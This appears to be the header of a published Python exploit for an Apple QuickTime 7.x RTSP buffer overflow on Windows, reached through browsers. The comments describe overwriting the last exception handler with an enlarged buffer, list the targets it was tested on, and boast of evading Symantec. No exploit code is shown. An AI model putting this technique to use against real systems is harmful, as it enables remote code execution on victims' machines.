Platform: windows

Exploit:
#!/usr/bin/python
##########################################################################
# http://www.offensive-security.com
# Bug discovered by Krystian Kloskowski (h07) <h07@interia.pl>
# Tested on: Apple QuickTime Player 7.3 / 7.2 IE7,FF /Opera, XP SP2, Vista
# This exploit is completely "Universal" .... It has also been modded to work via url redirection ...  
# Magic RETs work on 7.3,7.2,XPSP2,Vista,IE7,Firefox,Opera....
# re-edited by muts and javaguru1999 to annoy Symantec
# http://www.symantec.com/enterprise/security_response/weblog/2007/11/0day_exploit_for_apple_quickti.html
# there IS NO SPOON!
##########################################################################  
# "With Internet Explorer versions 6 and 7, and the Safari 3 beta,  
# the attack appears to be prevented because standard buffer overflow  
# prevention processes act before any damage can be done, Florio wrote.  
# With Firefox, the QuickTime RTSP response is unmoderated. As a result,  
# the exploit works against Firefox if QuickTime is the default multimedia player,  
# according to Florio."
##########################################################################
# Calling Quicktime via URL kicks in an Extra Exception Handler,  
# of which we have no control over.
# By making the buffer larger than the original exploit, we can overwrite  
# the last exception handler, and regain control over execution.
# This is indeed an evil exploit - muhaha.
